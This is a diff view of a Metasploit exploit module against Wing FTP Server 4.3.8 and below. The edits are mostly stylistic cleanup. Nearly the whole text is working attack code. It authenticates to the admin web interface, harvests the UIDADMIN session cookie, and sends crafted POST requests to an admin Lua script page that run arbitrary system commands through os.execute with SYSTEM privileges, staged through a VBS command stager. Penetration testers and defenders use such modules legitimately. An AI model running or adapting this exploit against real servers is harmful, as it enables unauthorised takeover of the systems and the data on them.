@@ -11,16 +11,16 @@ class Metasploit3 < Msf::Exploit::Remote
11
11
12
12
def initialize ( info = { } )
13
13
super ( update_info ( info ,
14
- 'Name' => 'Wing FTP Server Remote Command Execution' ,
14
+ 'Name' => 'Wing FTP Server Authenticated Command Execution' ,
15
15
'Description' => %q{
16
- This module exploits the embedded Lua interpreter in the admin interface for
16
+ This module exploits the embedded Lua interpreter in the admin web interface for
17
17
versions 4.3.8 and below. When supplying a specially crafted HTTP POST request
18
18
an attacker can use os.execute() to execute arbitrary system commands on
19
19
the target with SYSTEM privileges.
20
20
} ,
21
21
'Author' =>
22
22
[
23
- 'Nicholas Nam <nick[at]executionflow.org>' ,
23
+ 'Nicholas Nam <nick[at]executionflow.org>'
24
24
] ,
25
25
'License' => MSF_LICENSE ,
26
26
'References' =>
@@ -57,13 +57,13 @@ def check
57
57
58
58
if !res
59
59
fail_with ( Failure ::Unreachable , "#{ peer } - Admin login page was unreachable." )
60
- elsif res . code != 200
60
+ elsif res . code != 200
61
61
fail_with ( Failure ::NotFound , "#{ peer } - Admin login page was not found." )
62
- elsif res . body =~ /Wing FTP Server Administrator/ and res . body =~ /2003-2014 <b>wftpserver.com<\/ b>/
62
+ elsif res . body =~ /Wing FTP Server Administrator/ && res . body =~ /2003-2014 <b>wftpserver.com<\/ b>/
63
63
return Exploit ::CheckCode ::Appears
64
64
end
65
65
66
- return Exploit ::CheckCode ::Safe
66
+ Exploit ::CheckCode ::Safe
67
67
end
68
68
69
69
def exploit
@@ -73,27 +73,27 @@ def exploit
73
73
74
74
print_status ( "#{ peer } - Sending payload" )
75
75
# Execute the cmdstager, max length of the commands is ~1500
76
- execute_cmdstager ( { : flavor => :vbs , : linemax => 1500 } )
76
+ execute_cmdstager ( flavor : :vbs , linemax : 1500 )
77
77
end
78
78
79
- def execute_command ( cmd , opts = { } )
79
+ def execute_command ( cmd , _opts = { } )
80
80
command = "os.execute('cmd /c #{ cmd } ')"
81
81
82
- res = send_request_cgi ( {
82
+ res = send_request_cgi (
83
83
'uri' => '/admin_lua_script.html' ,
84
84
'method' => 'POST' ,
85
85
'cookie' => @session_cookie ,
86
86
'vars_post' => { 'command' => command }
87
- } )
87
+ )
88
88
89
- if res and res . code != 200
89
+ if res && res . code != 200
90
90
fail_with ( Failure ::Unkown , "#{ peer } - Something went wrong." )
91
91
end
92
92
end
93
93
94
94
def authenticate ( username , password )
95
95
print_status ( "#{ peer } - Authenticating" )
96
- res = send_request_cgi ( {
96
+ res = send_request_cgi (
97
97
'uri' => '/admin_loginok.html' ,
98
98
'method' => 'POST' ,
99
99
'vars_post' => {
@@ -103,25 +103,21 @@ def authenticate(username, password)
103
103
'password_val' => password ,
104
104
'submit_btn' => '+Login+'
105
105
}
106
- } )
106
+ )
107
107
108
108
uidadmin = ''
109
- if !res
109
+ if !res
110
110
fail_with ( Failure ::Unreachable , "#{ peer } - Admin login page was unreachable." )
111
- elsif res . code == 200 and res . body =~ /location='main.html\? lang=english';/
111
+ elsif res . code == 200 && res . body =~ /location='main.html\? lang=english';/
112
112
res . get_cookies . split ( ';' ) . each do |cookie |
113
113
cookie . split ( ',' ) . each do |value |
114
- if value . split ( '=' ) [ 0 ] =~ /UIDADMIN/
115
- uidadmin = value . split ( '=' ) [ 1 ]
116
- end
114
+ uidadmin = value . split ( '=' ) [ 1 ] if value . split ( '=' ) [ 0 ] =~ /UIDADMIN/
117
115
end
118
116
end
119
117
else
120
118
fail_with ( Failure ::NoAccess , "#{ peer } - Authentication failed" )
121
119
end
122
120
123
- return "UIDADMIN=#{ uidadmin } "
121
+ "UIDADMIN=#{ uidadmin } "
124
122
end
125
-
126
123
end
127
-
0 commit comments